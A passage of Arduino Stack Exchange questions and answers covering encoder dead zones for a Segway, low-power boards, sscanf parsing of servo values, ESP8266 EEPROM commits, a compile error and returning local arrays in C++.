      Serial.print(", ");
      Serial.print(_TurnEncoderTicks);
      Serial.print(", ");
      Serial.print(currentTime*pow(10,-6));
      Serial.println("];");
    }

    void HandleTurnMotorInterruptA()
    {
      // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
      _TurnEncoderBSet = digitalRead(c_TurnEncoderPinB);   // read the input pin
      // and adjust counter + if A leads B
      #ifdef TurnEncoderIsReversed
        _TurnEncoderTicks -= _TurnEncoderBSet ? -1 : +1;
      #else
        _TurnEncoderTicks += _TurnEncoderBSet ? -1 : +1;
      #endif
    }

The original code for the encoder count can be found [here][2].

In the code I put one of my own but it fails sometimes, I set a 0 voltage to the motors is the count is between +/- 6 counts.
A secondary issue is that when the bar tilt's to for example +7 counts the control is to aggressive, so I keep trying to find an ideal proportional gain.

Lastly I did not add the code for the balance action of the segway, mainly because it is not the issue and the control effort is just set to 0 while I try to fix the problem. Also, it would be too long.

What kind of solution would you guys think of?

I've edited the turn function like this:

    float turn(){
    int8_t TurnVal = 0;
      //deadZoneSize = 6
      if(TurnAngular <= deadZoneSize && TurnAngular >= -deadZoneSize)
      {
        return 0;
      }
      else
      {
        if (TurnAngular<0)
        {
          TurnVal = TurnAngular + deadZoneSize;
        }
        else
        {
          TurnVal = TurnAngular - deadZoneSize;
        }
        Serial.println(TurnVal);
        return (kp*TurnVal*(2*pi/(float)(pprT)));
      }

I can't find a way to fix the error between the actual straight position and the measured straight position (0 count). Sometimes after some movement of the bar, the actual straight position lies outside the dead zone, and the segway wants to turn anyways.

Here is an illustration.

[![enter image description here][3]][3]

  [1]: https://i.stack.imgur.com/PPmXR.jpg
  [2]: http://www.hessmer.org/blog/2011/01/30/quadrature-encoder-too-fast-for-arduino-with-solution/
  [3]: https://i.stack.imgur.com/BEZkE.jpg

body:
What you have come up with on your own is almost what is called a "dead zone", where the angle between -6 and 6 is ignored.

All you need to do now is not reference the actual angle when computing how much to turn, but to reference the distance from the edge of the dead zone:

    const uint16_t deadZoneSize = 6;
    [...]

    float turn(){
      unint8_t TurnVal = 0;
      if(TurnAngular<=deadZoneSize && TurnAngular>=-deadZoneSize)
      {
        return 0;
      }
      else
      {
       //the voltage is calculated with a proportional gain
       //times the angle of the encoder in radians.
        if (TurnAngular<0) {
          TurnVal = TurnAngular + deadZoneSize)
        } else {
          TurnVal = TurnAngular - deadZoneSize)
        }
        return (kp*TurnVal*(2*pi/(pprT)));
      }
    }


message:
Are any Arduino boards especially suited for low-power operation?

The Arduino project has done an excellent job in providing a portable software interface to a number of different hardware systems.

Are there any Arduino-compatible systems which are especially applicable for very low power battery-based operation?  Specifically, in an application where a device wakes up periodically (e.g. for data collection) or activated by a user button press?

body:
Technically you can use any arduino for that purpose with some modifications. I recommend to go with an arduino Pro Mini and remove the LED and the voltage regulator. [![enter image description here][1]][1]
But if you don't need so much I/O you can go with a digispark Attiny board.
[![enter image description here][2]][2]

  [1]: https://i.stack.imgur.com/UV3W7.jpg
  [2]: https://i.stack.imgur.com/ZLLNb.jpg


message:
How can i split an incoming data in arduino?

So  for my arduino project I need to split this line of servos data

    180 0 0 0 90 90 0

 Which would be parsed as:

    servo position1 servo positin2 servo positin3 ...servo position 6

in to separate servo values, but i am new at arduino and c typе languges so a little bit help will be very good. So my question is how can I split these values up?

body:
Scanning string formatted data can be done with `sscanf` ([docs](http://www.cplusplus.com/reference/cstdio/sscanf/)). It takes format strings just like `printf()` does, but instead of printing formatted data, it parses formatted data into the given variables.

For example,

<!-- language: lang-cpp -->

    String input = "180 0 0 0 90 90 0";
    //parse input (6 integers)
    int servoPositions[6];
    int numScanned = sscanf (input.c_str(),"%d %d %d %d %d %d",
     &servoPositions[0], &servoPositions[1],&servoPositions[2],
     &servoPositions[3], &servoPositions[4],&servoPositions[5]);

    //print positions again
    Serial.println("Parsed servo positions:");

    for(int i=0; i < 6; i++) {
     Serial.print("position ");
     Serial.print(i);
     Serial.print(": ");
     Serial.println(servoPositions[i]);
    }

Outputs

    Parsed servo positions:
    position 0: 180
    position 1: 0
    position 2: 0
    position 3: 0
    position 4: 90
    position 5: 90


message:
Wemos D1 EEProm put/get not getting correct value

Hey all I have the following code in my Arduino IDE:

    #include <EEPROM.h>
    #include <ArduinoJson.h>

    bool debuggin         = true;
    int brightness        = 255;
    int ambientLight      = 30;
    struct RGBLA {
      uint8_t R;
      uint8_t G;
      uint8_t B;
      uint8_t L;
      uint8_t A;
    };

    void setup() {
      Serial.begin(9600);

      while (!Serial) {
        ; // wait for serial port to connect. Needed for Leonardo only
      }

      EEPROM.begin(512);
      readSavedSettings();
      updateEEProm(255,255,255,200,35,true,false);
    }

    RGBLA readEEProm() {
      int addr = 0;
      RGBLA customVars;

      EEPROM.get(addr, customVars);
      return customVars;
    }

    void readSavedSettings() {
      RGBLA returnedVars = readEEProm();
      if (debuggin) { Serial.println("START readSavedSettings"); }

      if (returnedVars.A == 00 || returnedVars.A == 0) {
        if (debuggin) { Serial.println("'A' not found! Default 30"); }
      } else {
        ambientLight = returnedVars.A;
        if (debuggin) {
          Serial.print("'A' found! ");
          Serial.println(ambientLight);
        }
      }

      for(uint8_t i = 0; i < 3/*strip.numPixels()*/; i++) {
        if (debuggin) {
          Serial.print("LED ");
          Serial.print(i);
          Serial.print(" set to: R: ");
          Serial.print((uint8_t)returnedVars.R);
          Serial.print(", G: ");
          Serial.print((uint8_t)returnedVars.G);
          Serial.print(", B: ");
          Serial.println((uint8_t)returnedVars.B);
        }
      }

      if (debuggin) {
        Serial.println("Turned off RGB LEDS");
        Serial.println("END readSavedSettings");
      }
    }

    void updateEEProm(uint8_t R,
                      uint8_t G,
                      uint8_t B,
                      uint8_t L,
                      uint8_t A,
                      bool saveRGBL,
                      bool saveA) {
      int addr = 0;
      RGBLA customVars;

      //Save old json before clearing EEProm
      EEPROM.get(addr, customVars);

      //Clear EEProm
      for (unsigned int i = 0; i < EEPROM.length(); i++) {
        EEPROM.write(i, 0);
      }

      if (saveRGBL) {
        //Get A value so that we can save it the same value
        DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
        JsonObject& root = jsonBuffer.createObject();

        if (debuggin) {
          Serial.print("Old JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)customVars.R);
          Serial.print(" G: ");
          Serial.print((uint8_t)customVars.G);
          Serial.print(" B: ");
          Serial.print((uint8_t)customVars.B);
          Serial.print(" L: ");
          Serial.print((uint8_t)customVars.L);
          Serial.print(" A: ");
          Serial.println((uint8_t)customVars.A);
        }

        root["R"] = (uint8_t)R;
        root["G"] = (uint8_t)G;
        root["B"] = (uint8_t)B;
        root["L"] = (uint8_t)L;
        root["A"] = (uint8_t)customVars.A;

        if (debuggin) {
          Serial.print("New JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)root["R"]);
          Serial.print(" G: ");
          Serial.print((uint8_t)root["G"]);
          Serial.print(" B: ");
          Serial.print((uint8_t)root["B"]);
          Serial.print(" L: ");
          Serial.print((uint8_t)root["L"]);
          Serial.print(" A: ");
          Serial.println((uint8_t)root["A"]);
        }

        EEPROM.put(addr, root);
      }

      if (saveA) {
        //Get R,G,B,L values so that we can save it the same value
        DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
        JsonObject& root = jsonBuffer.createObject();

        if (debuggin) {
          Serial.print("Old JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)customVars.R);
          Serial.print(" G: ");
          Serial.print((uint8_t)customVars.G);
          Serial.print(" B: ");
          Serial.print((uint8_t)customVars.B);
          Serial.print(" L: ");
          Serial.print((uint8_t)customVars.L);
          Serial.print(" A: ");
          Serial.println((uint8_t)customVars.A);
        }

        root["R"] = (uint8_t)customVars.R;
        root["G"] = (uint8_t)customVars.G;
        root["B"] = (uint8_t)customVars.B;
        root["L"] = (uint8_t)customVars.L;
        root["A"] = (uint8_t)A;

        if (debuggin) {
          Serial.print("New JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)root["R"]);
          Serial.print(" G: ");
          Serial.print((uint8_t)root["G"]);
          Serial.print(" B: ");
          Serial.print((uint8_t)root["B"]);
          Serial.print(" L: ");
          Serial.print((uint8_t)root["L"]);
          Serial.print(" A: ");
          Serial.println((uint8_t)root["A"]);
        }

        EEPROM.put(addr, root);
      }
    }

    void loop() {
    }

And this is the output of that code:

    START readSavedSettings
    'A' found! 96
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
    New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
    New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

Now when I reset it this is the output:

    ⸮dOX⸮,R⸮X⸮4xC⸮⸮⸮START readSavedSettings
    'A' found! 96
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
    New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
    New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

How come the **Old JSON** has the **'L'** value as **63** again when it should be the **New JSON** value of **200**? Why did it not save it but saved all the others? Also, Why is **'R' 48** when it should be **255** like **G** and **B**?

Is there something wrong in my code?

**Update 1**

This is the output after adding .end() to it:

    START readSavedSettings
    'A' found! 160
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255  B: 255  L: 63 A: 160
    New JSON: R: 255  G: 255  B: 255  L: 200 A: 160
    Old JSON: R: 128  G: 12   B: 17   L: 17 A: 60
    New JSON: R: 128  G: 12   B: 17   L: 17 A: 35

and the code i use:

    void setup() {
      // initialize serial and wait for port to open:
      Serial.begin(9600);
      while (!Serial) {
        ; // wait for serial port to connect. Needed for Leonardo only
      }

      EEPROM.begin(512);
      readSavedSettings();
      updateEEProm(255,255,255,200,35,true,false); //Save all but 'A' value
      EEPROM.end();
      updateEEProm(255,255,255,200,35,false,true); //Save just 'A' value
      EEPROM.end();
    }

body:
The esp8266 EEPROM emulation library requires a commit() call to save the memory image of EEPROM to flash.

Add `EEPROM.commit();` or `EEPROM.end();` as last line in your `updateEEProm()` function. [Documentation link][1]:

Second problem is that you don't write the RGBLA struct to EEPROM, instead you try to write the variable `root`, which is an instance of class JsonObject. Class types can't be put into EEPROM.

  [1]: https://arduino-esp8266.readthedocs.io/en/latest/libraries.html#eeprom


message:
compilation terminated. exit status 1 error compiling for board arduino/genuino uno

hi i have done this code for my uno R3 and i cant upload it
any suggestions

    #include"DHT.h"
    #define DHTPIN 8
    #define DHTTYPE DHT11
    DHT dht( DHTPIN,DHTTYPE);
    const int ledPin=13
    int piesoPin=9
    void setup(){
      serial.begin(9600);
      pinMode(ledPin,OUTPUT);
      pinMode(piezoPin,OUTPUT);
      delay(5000);
    }
    void loop(){
      int t=dht.readTemperature();
      int h=dht.readHumidity();
      Serial.print(t);
      if(t>26){
        digitalWrite(ledPin,HIGH);
        digitalWrite(piezopin,HIGH);
        {TONE(9,3047,400);
        delay(1000);
        noTone(8);
        delay(100);
        }
        delay(1000);
        Serial.print("ON T=");
      }
      else(digitalWrite(piezoPin,LOW);
      digitalWrite(LEDpIN,LOW);
      Serial.print("OFF,T=");
      }}

body:
Two errors I see is a typo and missing semicolons.

    const int ledPin=13
    int piesoPin=9

Should be

    const int ledPin=13;
    int piezoPin=9;

Also I see a unnecessary { and } but this cannot cause a compilation error.

Check the delays, when the temperature is higher than 26 degrees you have more delay than when not, maybe this is intended, maybe not.

However, you probably typed over the code, so maybe there are more errors, please add the exact error text and line in your question.


message:
Arduino uno, VIN and 12 volts

I have an arduino Uno with a motor shield attached I would like to drive 2 12 volt dc motors. Can I just attach a 12 volt power supply to the arduino Uno?

I ask because if I can attach a 12 volt power supply to the uno, I would like to also try and drive some leds from the Uno as well. I remember that the VIN jumper needs to be connected if connecting a power supply through the Arduino uno. There is also a pin labeled VIN.

If I can connect a 12 volt power supply to the arduino uno, can I power the leds from the vin pin.

[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/FEGD6.jpg

body:
Possibly. It depends exactly *what* it is you want to drive.

When you connect 12V to the barrel jack you get about 11.3V out of the VIN pin. This is because there is a diode in series with the barrel jack to protect against reverse polarity connections. This loses some voltage (could be as much as 0.7V).

Also that diode is rated at 1A maximum. So you can't drive anything that would need more than 1A (including the current needed by the Arduino and shield components).


body: That depends on the motor shield - for some motor shields you have to cut a circuit path (or unset a jumper) to separate the power for the motors from arduino's power!


message:
passing arrays via function returns wrong values

I am trying to use the values of an array in some other function, but when I return via a function the contents is wrong.

This is the external function file I'm trying to use

    #include "Arrayreturner.h"

    Arrayreturner::Arrayreturner() { }

    void Arrayreturner::setResults(int* res, int size) {
     int temp[size];

     for(int i=0;i<size;i++) {
      temp[i] = res[i];
     }

     results = temp;

    }

    int* Arrayreturner::getResults() {
      return results;
    }

This is the header file

    #ifndef ARRAYRETURNER_H
    #define ARRAYRETURNER_H

    #include <Arduino.h>
    #include <Wire.h>

    class Arrayreturner {
    public: // some public definitions first

     Arrayreturner();

    void setResults(int* res, int size);
    int* getResults();
    int* results;

    };

    #endif

And here is the main program

    #include <Arduino.h>
    #include "Arrayreturner.h"

    Arrayreturner data;

    void setup() {
     Serial.begin(9600);

    }

    int* returnArray(int arr[]) {
     // int arr[] = { 3, 5, 6, 7, 9 };
     int *p = arr;

     // Serial.print("rA: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p[i]); Serial.print(" ");
     // } Serial.println("");
     return p;
    }

    Arrayreturner testfunc() {
     Arrayreturner data;
     int arr[] = { 2,4,6,8,10};

     data.setResults(arr, 5);

     return data;
    }

    void loop() {

      int arr[] = { 3, 5, 6, 7, 9 };
      // int *p = arr;
      // int (*ptr)[5] = &arr;

     // Serial.print("p: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p[i]); Serial.print(" ");
     // } Serial.println("");

     // int* p1;
     // p1 = returnArray(arr);
     // Serial.print("p1: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p1[i]); Serial.print(" ");
     // } Serial.println("");

     // data.setResults(arr, 5);

     // int* res = data.getResults();
     //
     // Serial.print("res: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(res[i]); Serial.print(" ");
     // } Serial.println(" ");

     Arrayreturner ar = testfunc();
     int* res = ar.getResults();
     Serial.print("res: ");
     for(int i=0;i<5;i++) {
       Serial.print(res[i]); Serial.print(" ");
     } Serial.println(" ");

     Serial.println("--------------");

      delay(2000);
}

There is probably something wrong with the pointer declaration, but I cant figure it out.

Thanks for the help

body: Your arrays are declared locally to the functions. You cannot return local arrays from a function - as soon as you return the arrays no longer exist.


body:
This is a C language question. You copy a local array created on the stack of the testfunc() to other array created on the stack of Arrayreturner::setResults(). Then you store a pointer of the second array into  member variable results. But that pointer is not valid when the function setResults() returns and the array on the stack is destroyed.

Normal way is to create an array, pass it as parameter to the function and let the function fill it.